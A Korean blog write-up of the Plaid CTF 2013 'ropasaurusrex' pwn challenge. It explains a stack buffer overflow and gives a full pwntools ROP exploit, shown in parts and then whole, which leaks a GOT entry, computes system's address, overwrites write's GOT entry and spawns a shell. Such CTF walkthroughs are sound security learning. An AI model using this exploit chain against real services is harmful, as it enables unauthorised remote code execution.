System&Write up/CTF

[Plaid CTF 2013] ropasaurusrex

Jubil 2018. 1. 3. 18:46
반응형

[plaidCTF-2013 ropasaurusrex]

 

32bit binary이고 NX가 걸려있습니다.

 


 

main 함수에서는 어떤 함수를 호출하고 WIN을 출력합니다.

 


 

함수를 따라 들어가보면, bp-0x88에 위치한 bufread 함수로 0x100만큼 입력을 받아 BOF가 발생합니다.

 

1

2

3

4

5

6

7

8

9

10

11

12

13

from pwn import *

 

#p = process('./ropasaurusrex')

= remote('localhost'6666)

= ELF('./ropasaurusrex')

 

pppr = 0x080484b6

binsh = "/bin/sh"

offset = 0x99a80         #write - system

 

read_plt = e.plt['read']

write_plt = e.plt['write']

write_got = e.got['write']

cs

 

 

이 부분에서는 pppr gadgetoffset (write – system), read_plt, write_plt, write_got를 구했습니다.

 

write, read 모두 3개의 파라미터를 가지기 때문에 pppr gadget을 구했고, offsetASLR을 우회하기 위해서 찾아준 다음, 실제 공격할 때 write 함수의 주소와 offset을 이용하여 system의 주소를 찾기 위함입니다.

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

payload = ""

payload += "A"*(0x88 + 0x4)

 

payload += p32(read_plt)

payload += p32(pppr)

payload += p32(0)        #stdin

payload += p32(e.bss())

payload += p32(8)         #len(/bin/sh)

 

payload += p32(write_plt)

payload += p32(pppr)

payload += p32(1)        #stdout

payload += p32(write_got)

payload += p32(4)               #len(write_got)

 

payload += p32(read_plt)

payload += p32(pppr)

payload += p32(0)        #stdin

payload += p32(write_got)

payload += p32(4)        #len(write_got)

 

payload += p32(write_plt)

payload += "AAAA"

payload += p32(e.bss())

cs

 

 

payload를 구성합니다. 우선 더미 값으로 Return Address까지 채워주고, read 함수로 bss 영역에 “/bin/sh” 문자열을 넣기 위해 세팅해줍니다.

 

pppr로 인자를 정리하고 writewrite 함수의 got를 출력하게 합니다.

 

그 후 pppr로 다시 정리하고 read 함수로 뛰어서 write 함수의 gotsystem 함수로 바꿔 놓습니다. 그리고 다시 writeplt를 호출하는데, 여기서 실제로 실행되는 함수는 write가 아니라 system 함수입니다. 인자로 넣어줬던 “/bin/sh” 문자열의 주소를 넘깁니다.

 

1

2

3

4

5

6

7

8

9

10

p.sendline(payload)

 

p.sendline("/bin/sh")

 

system = u32(p.recv(4)) - offset

print hex(system)

 

p.sendline(p32(system))

 

p.interactive()

cs

 

 

payload를 보내고, 첫 번째 read에서 받을 “/bin/sh”를 넘겨줍니다.

 

두 번째 write에서 출력한 writegot를 받아오고 unpacking한 다음 offset과 더해서 system의 주소를 만들어냅니다.

 

세 번째 read system 함수의 주소를 넘겨서 writegotsystem 함수의 주소로 바꿉니다.

 

 

그리고 interactive 함수로 쉘과 연동합니다.

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

from pwn import *

 

#p = process('./ropasaurusrex')

= remote('localhost'6666)

= ELF('./ropasaurusrex')

 

pppr = 0x080484b6

binsh = "/bin/sh"

offset = 0x99a80         #write - system

 

read_plt = e.plt['read']

write_plt = e.plt['write']

write_got = e.got['write']

 

 

payload = ""

payload += "A"*(0x88 + 0x4)

 

payload += p32(read_plt)

payload += p32(pppr)

payload += p32(0)        #stdin

payload += p32(e.bss())

payload += p32(8)         #len(/bin/sh)

 

payload += p32(write_plt)

payload += p32(pppr)

payload += p32(1)        #stdout

payload += p32(write_got)

payload += p32(4)               #len(write_got)

 

payload += p32(read_plt)

payload += p32(pppr)

payload += p32(0)        #stdin

payload += p32(write_got)

payload += p32(4)        #len(write_got)

 

payload += p32(write_plt)

payload += "AAAA"

payload += p32(e.bss())

 

 

p.sendline(payload)

 

p.sendline("/bin/sh")

 

system = u32(p.recv(4)) - offset

print hex(system)

 

p.sendline(p32(system))

 

p.interactive()

cs

 

 

전체 코드

 

 


 

쉘을 따냈습니다.

반응형

'System&Write up > CTF' 카테고리의 다른 글

[Pico CTF 2013] overflow4  (0) 2018.01.17
[Pico CTF 2013] overflow3  (0) 2018.01.16
[Pico CTF 2013] overflow2  (0) 2018.01.14
[Pico CTF 2013] overflow1  (0) 2018.01.14
[제 1회 Root CTF] Point to pointer! - (529 point)  (0) 2017.12.24